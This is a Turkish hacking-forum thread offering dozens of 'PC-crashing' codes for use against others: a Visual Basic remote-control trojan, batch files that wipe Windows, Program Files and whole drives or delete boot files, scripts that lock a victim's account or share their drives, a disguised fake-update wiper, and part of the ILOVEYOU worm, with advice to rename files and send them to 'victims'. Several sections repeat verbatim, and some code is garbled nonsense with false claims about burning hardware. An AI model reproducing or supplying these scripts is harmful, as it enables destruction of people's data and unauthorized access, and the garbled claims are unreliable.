İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

en az 50 tane pc çökertme kodu

10-12-2012 20:01
#1
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
Kod:
 SÜPeR BİR TROJeN BİLGİSaYARI FELÇ EDİYOR :::))
furkanakmann;2760101]Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz 
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277


End Sub

Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub

Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub

Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40

Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide

End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False

Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"

Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False

Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False

Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True



End Select
End Sub

Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub

Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub


Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5

End Sub

Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub[/QUOTE]
 



normal vürüsler :
1.Notepad 'i açın. 

2.Notepad in içine şunları yazın: 
----------------------------------------- 
@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 

@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 

@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\*.* 

@echo off 

cls 

cls 

@echo .:eni salak formatı yedin::. 

@echo off 
-------------------------------------------- 
3.Notepad i kapatıp belgeyi kaydedin. 

4.Uzantısını .txt den .bat a çevirin. 

5.Hazır. 

Açıklama: 



Yaptıktan sonra dosyaya sakın tıklamayın. 

Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 

Not:%100 ÇALIŞIYO 

Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak formatı yedin yazıyor". 

Peki bunu düşmanıma nasıl yediririm derseniz: 

dosyanın adını değiştirin.(mesela:fifa_2005_stream_install) 
-------------------------------------------------------------------------- 
Çalışan ve Gördüğüm en Küçük Virüs 
Bu Forumda Verilip verilmediğini tam olarak bilmiyorum ama Suan elimde çok basit yazılmış bir virüs var. Kodlar Aşağıdaki gibidir. Yapmanız gereken tek şey kodları Notepad e yapıştırıp uzantısını .bat olarak ayarlamak. sonra Msn de veya başka bir paylaşım programında başkasına gönderebilirsiniz. Peki virüsümüzün zararı nedir? sorusunun cevabı ise C sürücüsündeki bazı dosyaları siliyor ve 2 sn sonra bilgisayar resetleniyor. taki bir daha açılmamak üzere artık o pc yi format paklar... 




@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .::Format Down Up Your Sistem Limp_buskuit::. 
@echo off 

-------------------------------------------------------------------------- 
çok basit yöntem ile 1 dk içinde virüs yapımı ve sistem çöküyoo 
Çok basit yöntemlerle 1 dk içinde format atan(ve attıktan sonra bilgisayar açılmıyor) virus yapabilirsiniz. 
Açıklama: 

1.Notepad 'i açın. 
2.Notepad in içine şunları yazın: 

Kod: 

@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off cls cls @echo .::Seni salak formatı yedin::. @echo off 

3.Notepad i kapatıp belgeyi kaydedin. 
4.Uzantısını .txt den .bat a çevirin. 
5.Hazır. 
Açıklama: 
. 
Yaptıktan sonra dosyaya sakın tıklamayın. 
Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 

Not:%100 ÇALIŞIYO 
Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak,formatı yedin yazıyor". 

Not: "seni salak,formatı yedin" yazan yere kendi mesajınızı yazabilirsiniz... 

nasıl .bat yapılır?? 

ms-dos komut istmini aç dosya neredeyse mesela C:\virus.txt şeklindeyse aynen şunu yazıcaksın... 

C:\ren virus.txt virus.bat sonra enter diyoruz..Ve bat. yaptığımız dosyayı herhangi bir şekilde karşıdakine yediriyoruz... 
-------------------------------------------------------------- 

Ekran Karti Yakma(alinti)program Bile Değil Işimizi Yazilarla Hallediyoruz 
YAPACAGINIZ İŞLEM 

@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .:: HacKeD gülümse ::. 
@echo off3. 

METİN SAYFASI AÇIP 
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat) 
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin. 

------------------------------------------------------------- 
Format Virüsü 
bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak 

cd.. 

cd.. 

attrib -s -h -r -a c:\ntldr 

del c:\ntldr 

shutdown -r 

-------------------------------------------------------------------------- 
HDD yakan virüs 
Arkadaşlar size verceğim kodu kişinin çalıştırına yazdırabilirseniz veye notpeda kodu yapıştırıp biçimini bat. e çeviirseniz dosyayı açtığı anda hddsi yanar işte komut 

/timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) 


kolay yapmak isterseniz kurbana bunu çalıştıra yaz pc hızlanıo fln derseniz oltaya gelebilir hadi sizze kolay gelsin 
-------------------------------------------------------------------------- 
Karşı pc ye şifre koy 
bunu notepad e yapıştır 123456 yazan yere koymak istediğin şifreyi yaz .bat uzantılı olarak kaydet(örnek yun.bat) zip le sıkıştırın ve kurbana yollayın bunu açtığı zaman pc si kapanır ve şifrelenmiş olur açtığında pc şifre sorar.Eğer şifreyi koyduktan sonra pc nin kapanmasını istemiyorsanız shutdown -r kısmını silin. 

Kodlar: 

net user %username% 123456 
shutdown -r 

-------------------------------------------------------------------------- 
MSN de pc yi kitleme 
1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım. 
2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa 
sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor. 
-------------------------------------------------------------------------- 
***msn den pc çökertme*** 
Selam arkadaşlar msn den birine gıcık oluyorsanız işte buyrun.Lütfen masum arkadaşlar üzerinde denemeyin 
————————————– 
1.Notepad ’i açın. 
2.Notepad in içine şunları yazın: 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .:: BLooDY den formatı yedin::. 
@echo off 
3.Notepad i kapatıp belgeyi kaydedin. 
4.Uzantısını .txt den .bat a çevirin. 
5.Hazır. 
NOT: 
Yaptıktan sonra dosyaya sakın tıklamayın. 
Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 
Windows un önemli bi kaç dosyasını siliyor ve sonra ” BLooDY den formatı yedin yazıyor”. 
Peki bunu düşmanıma nasıl yediririm derseniz: 
dosyanın adını değiştirin 

-------------------------------------------------------------------------- 
msn patlatma %100 başarı 
tek yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı ) 

kod: 

-------------------------------------------------------------------------------- 
ñ¯a_Á¯aÿ±m¯a�ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá 

-------------------------------------------------------------------------- 
XP SiSTeM ÇöKeRTiCi PRoGRaMsıZ:: 
ARKADAŞLAR AŞAGIDA VERECEĞİM KODLARI KOPYALIYORUZ. 

DAHA SONRA MASA ÜSTÜNE BİR TXT DOSYASI ACIP İÇİNE YAPIŞTIRIYORUZ. 

FARKLI KAYDETTEN UZANTISINI .bat OLARAK KAYDEDİYORUZ. 

DAHA SONRA DOSYAYI KURBANIMIZA YOLLUYORUZ. 

KURBAN DOSYAYI ACINCA 

"Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın." 

ŞEKLİNDE BİR UYARI İLE KARŞILAŞAK... 

PHP KODU: 

echo off 

echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın 

echo off 

pause 

del /f /q d: 

del /f /q c: 

shutdown -r 
shutdown -a buda panzehiri,, eğer kendi pcnizde açarsanız 30 saniye sonra pc format atacaktır sizde bunu panzehir olarak bi yere kaydedin.. sonrada yanlışlıkla açarsanız bunu açın olay bitti
:yaho1:yaho1:yaho1:yaho1:yaho1:yaho1:yaho1:yaho1:[/QUOTE]

pç çökertme
Kod:
Merhaba Arkadaşlar 
Sizlere Bütün Virsu Kodlarını Sunuyorum 
Alıntıdır Ama Hesini Topladım
Viruslu siteleri boşu boşuna gezmeyin alın verdiklerimi
Hepsi Var :twist İŞE Yarar


1.Sayfa Virus Kodları

30 sn de wirüs yapın ... 
Açıklama: 

1.Notepad 'i açın. 

2.Notepad in içine şunları yazın: 
----------------------------------------- 
@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 

@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 

@echo off 

C:\WINDOWS\COMMAND\deltree /y c:\*.* 

@echo off 

cls 

cls 

@echo .:eni salak formatı yedin::. 

@echo off 
-------------------------------------------- 
3.Notepad i kapatıp belgeyi kaydedin. 

4.Uzantısını .txt den .bat a çevirin. 

5.Hazır. 

Açıklama: 



Yaptıktan sonra dosyaya sakın tıklamayın. 

Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 

Not:%100 ÇALIŞIYO 

Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak formatı yedin yazıyor". 

Peki bunu düşmanıma nasıl yediririm derseniz: 

dosyanın adını değiştirin.(mesela:fifa_2005_stream_install) 
-------------------------------------------------------------------------- 
Çalışan ve Gördüğüm en Küçük Virüs 
Bu  Forumda Verilip verilmediğini tam olarak bilmiyorum ama Suan elimde çok  basit yazılmış bir virüs var. Kodlar Aşağıdaki gibidir. Yapmanız  gereken tek şey kodları Notepad e yapıştırıp uzantısını .bat olarak  ayarlamak. sonra Msn de veya başka bir paylaşım programında başkasına  gönderebilirsiniz. Peki virüsümüzün zararı nedir? sorusunun cevabı ise C  sürücüsündeki bazı dosyaları siliyor ve 2 sn sonra bilgisayar  resetleniyor. taki bir daha açılmamak üzere artık o pc yi format  paklar... 




@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .::Format Down Up Your Sistem Limp_buskuit::. 
@echo off 

-------------------------------------------------------------------------- 
çok basit yöntem ile 1 dk içinde virüs yapımı ve sistem çöküyoo 
Çok basit yöntemlerle 1 dk içinde format atan(ve attıktan sonra bilgisayar açılmıyor) virus yapabilirsiniz. 
Açıklama: 

1.Notepad 'i açın. 
2.Notepad in içine şunları yazın: 

Kod: 

@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off cls cls @echo .::Seni salak formatı yedin::. @echo off 

3.Notepad i kapatıp belgeyi kaydedin. 
4.Uzantısını .txt den .bat a çevirin. 
5.Hazır. 
Açıklama: 
. 
Yaptıktan sonra dosyaya sakın tıklamayın. 
Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 

Not:%100 ÇALIŞIYO 
Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak,formatı yedin yazıyor". 

Not: "seni salak,formatı yedin" yazan yere kendi mesajınızı yazabilirsiniz... 

nasıl .bat yapılır?? 

ms-dos komut istmini aç dosya neredeyse mesela C:\virus.txt şeklindeyse aynen şunu yazıcaksın... 

C:\ren virus.txt virus.bat sonra enter diyoruz..Ve bat. yaptığımız dosyayı herhangi bir şekilde karşıdakine yediriyoruz... 
-------------------------------------------------------------- 

Ekran Karti Yakma(alinti)program Bile Değil Işimizi Yazilarla Hallediyoruz 
YAPACAGINIZ İŞLEM 

@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .:: HacKeD gülümse ::. 
@echo off3. 

METİN SAYFASI AÇIP 
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat) 
vede  kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve  kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban  dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası  açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip  yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı  kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı  alana kadar da gelmiyecek kolay gelsin. 

------------------------------------------------------------- 
Format Virüsü 
bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak 

cd.. 

cd.. 

attrib -s -h -r -a c:\ntldr 

del c:\ntldr 

shutdown -r 

-------------------------------------------------------------------------- 
HDD yakan virüs 
Arkadaşlar  size verceğim kodu kişinin çalıştırına yazdırabilirseniz veye notpeda  kodu yapıştırıp biçimini bat. e çeviirseniz dosyayı açtığı anda hddsi  yanar işte komut 

/timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) 


kolay yapmak isterseniz kurbana bunu çalıştıra yaz pc hızlanıo fln derseniz oltaya gelebilir hadi sizze kolay gelsin 
-------------------------------------------------------------------------- 
Karşı pc ye şifre koy 
bunu  notepad e yapıştır 123456 yazan yere koymak istediğin şifreyi yaz .bat  uzantılı olarak kaydet(örnek yun.bat) zip le sıkıştırın ve kurbana  yollayın bunu açtığı zaman pc si kapanır ve şifrelenmiş olur açtığında  pc şifre sorar.Eğer şifreyi koyduktan sonra pc nin kapanmasını  istemiyorsanız shutdown -r kısmını silin. 

Kodlar: 

net user %username% 123456 
shutdown -r 

-------------------------------------------------------------------------- 
MSN de pc yi kitleme 
1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım. 
2-  daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak  kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama  denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf  açarsa 
sonuc olarak pc de durmadan pencereler acılıyor yüzlerce  reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına  sebep oluyor. 
-------------------------------------------------------------------------- 
***msn den pc çökertme*** 
Selam arkadaşlar msn den birine gıcık oluyorsanız işte buyrun.Lütfen masum arkadaşlar üzerinde denemeyin 
————————————– 
1.Notepad ’i açın. 
2.Notepad in içine şunları yazın: 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 
@echo .:: BLooDY den formatı yedin::. 
@echo off 
3.Notepad i kapatıp belgeyi kaydedin. 
4.Uzantısını .txt den .bat a çevirin. 
5.Hazır. 
NOT: 
Yaptıktan sonra dosyaya sakın tıklamayın. 
Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. 
Windows un önemli bi kaç dosyasını siliyor ve sonra ” BLooDY den formatı yedin yazıyor”. 
Peki bunu düşmanıma nasıl yediririm derseniz: 
dosyanın adını değiştirin 

-------------------------------------------------------------------------- 
msn patlatma %100 başarı 
tek  yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye  yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı ) 

kod: 

-------------------------------------------------------------------------------- 
ñ¯a_Á¯aÿ±m¯a�ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá 

-------------------------------------------------------------------------- 
XP SiSTeM ÇöKeRTiCi PRoGRaMsıZ:: 
ARKADAŞLAR AŞAGIDA VERECEĞİM KODLARI KOPYALIYORUZ. 

DAHA SONRA MASA ÜSTÜNE BİR TXT DOSYASI ACIP İÇİNE YAPIŞTIRIYORUZ. 

FARKLI KAYDETTEN UZANTISINI .bat OLARAK KAYDEDİYORUZ. 

DAHA SONRA DOSYAYI KURBANIMIZA YOLLUYORUZ. 

KURBAN DOSYAYI ACINCA 

"Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın." 

ŞEKLİNDE BİR UYARI İLE KARŞILAŞAK... 

PHP KODU: 

echo off 

echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın 

echo off 

pause 

del /f /q d: 

del /f /q c: 

shutdown -r 
shutdown  -a buda panzehiri,, eğer kendi pcnizde açarsanız 30 saniye sonra pc  format atacaktır sizde bunu panzehir olarak bi yere kaydedin.. sonrada  yanlışlıkla açarsanız bunu açın olay bitti

_________________


2.Sayfa Virus Kodları

BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE  SAKIN DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM  HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR  AŞAGIDA***.[
 
 
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
 
 
sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle  yapacaksın not defterını acıyorsun buradakı kodları oraya  yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune  (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde  vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus  dosyası da budur...!!!


3.Sayfa Virus Kodları

Pc Hack için Bi Virüs koDu
 
cd c:\\
attrib -s -h boot.ini
cls
attrib -s -h found.000
attrib -s -h found.001
t>boot.ini
attrib -a -s -h pagefile.sys
h>pagefile.sys
attrib -a -s -h hiberfil.sys
HH>hiberfil.sys
attrib -a -s -h -r bootfont.bin
hhh>bootfont.bin
attrib -a -s -h -r ntdetect.com
ff>ntdetect.com
attrib -a -s -h -r ntldr
f>ntldr
cls
cd..
cd..
cls
cd windows
g>win.ini
cls
g>system.ini
cls
cd pss
ft>system.ini.backup
f>win.ini.backup
cls
cd c:\\
@echo .::.HADi baslayalım.::.
cd windows
cd system32
attrib -r -h -s dllcache
cls
attrib -a -h -r *.manifest
cls
cd config
attrib -a -h *.log
cd..
cd restore
attrib -r -h -s filelist.xml
cls
cd c:\\
cls
cd windows
cls
tskill msnmsgr /a
tskill msmsgs /a
cls
del /f /q /s c:\\windows\\system32\\*.*
cls
cd repair
attrib -a -h ntuser.dat
f>ntuser.dat
ff>secstup.inf
cd..
attrib -h inf
attrib -h -s installer
attrib -h pif
attrib -r -h -a WindowsShell.Manifest
attrib -r -h şMSI31Uninstall_KB893803ş
attrib -s -a bootstat.dat
attrib -s -h services.dll
attrib -s -h qservice.exe
attrib -a -r set3.tmp
attrib -s -h winnt.bmp
attrib -s -h winnt256.bmp
cls
cd c:\\
del /f /q /s c:\\windows\\*.*
cls
cd..
cd..
cd program files
cd internet explorer
attrib -a -s -h iexplore.exe
cd c:\\
cls
del /f /q /s c:\\program files\\*.*
cls
cd..
cd..
attrib -a -h -r -s msdos.sys
attrib -a -s -h config.sys
cls
attrib -a -h -r -s IO.sys
cls
del /f /q /s c:\\*.*
cls
@echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir…
@echo Veri Kayiplari Olmamasi icin….!!!!!!…
@echo Devam Etmeniz Kesinlikle Onerilir…!!!..
pause
cls
cd..
cd..
cd ********s and Settings
cd All Users
cd Desktop
md .HackEd
md Bys
md Hacker
dir /s>HAcKeD.ini
@echo HALA shutDownN.exe Pc DEYse RES iyi Gider
cls
shutdown -r -t 5 -c “HacKs FoR ” -f
shutdown -r -t 5 -c “HacKs FoR” -f
tsshutdn 5 /delay:2
tsshutdn 5 /delay:2 
 
bunu not defterine yapıştıp farklı kaydet ten uzantısını 
.bat yapın… test edilimistir                          

4.Sayfa Virus Kodları

Klavye Hackleme Kodu
del C:/WINDOWS/system/KEYBOARD.DRV
 
Karşı Pcyi Yak
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval  (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target>   W<var.effect> W<p.x> W<eval <p.y**** B<qval   <argn3>?<argn3>:<p.z**** W<local.t_x>   W<local.t_y> B<qval <argn3>?<argn3>:<p.z****   B<var.speed> B<var0.duration> 00 00 00 B<qval   <var0.explode>?<var.explode>:0> D<hval <var.hue>   - 1> D<var.rendermode>
 
System 32 Silen Virüs
Not defterinin içine yapıştır.Bata çevir.C:/windows/system32 /deleted
Karşı tarafa yolla açsın.Gitti Bitti.
 
Karşı Pcyi Paylaşıma Açma Kodu
Not defterine kaydet ve uzantısını bat yap.Yolla...
net share hacker=c:\ /unlimited /remark:"RockStar"
net share hacker=d:\ /unlimited /remark:"RockStar"
 
Karşı Pcyi Resmi Açınca Pc Kapanıyor Ve Mosuyi  Kaybetme
RapidShare: 1-CLICK Web hosting - Easy Filehosting  Resim
RapidShare: 1-CLICK Web hosting - Easy Filehosting  Mouse
Bu dosyaları indirin ve karşı tarafa yollayın açınca o size neler  olduğunu anlatır.
 
Format
1.Notepad 'i açın.
2.Notepad in içine şunları yazın:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .::Hacked By 4-Ever-Hacker::.
@echo off
bu komutu not defterinin içine kopyalayın ve uzantısını bat yapın kendi   pc denedim 100%100 çalışıyor bu komutu yazıp karşıya gönderdiğinizde   kişi tıklarsa bir daha pc açamaz
format atmak zorunda kalır
 
Monitör Patlatma
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval  (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target>   W<var.effect> W<p.x> W<eval <p.y**** B<qval   <argn3>?<argn3>:<p.z**** W<local.t_x>   W<local.t_y> B<qval <argn3>?<argn3>:<p.z****   B<var.speed> B<var0.duration> 00 00 00 B<qval   <var0.explode>?<var.explode>:0> D<hval <var.hue>   - 1> D<var.rendermode>
not defterine kopyalayın ve uzantısını bat yapın sakın siz tıklamayın  100%75 çalışıyodur
 
MasaÜstünü Silme
CD..
CD..
CD.
erase c:/f/s/q/a
not defterine kopyalayın ve uzantısını bat yapın 100%100 çalışıyor
 
Karşı Pcsinin Oturumuna Şifre Koyma
ilk olarak Not Defterini açıyoruz
sonrada verdiğim kodları yazıyoruz ve uzantısını .bat olarak  kaydediyoruz (örnek: oyun.bat)
code:
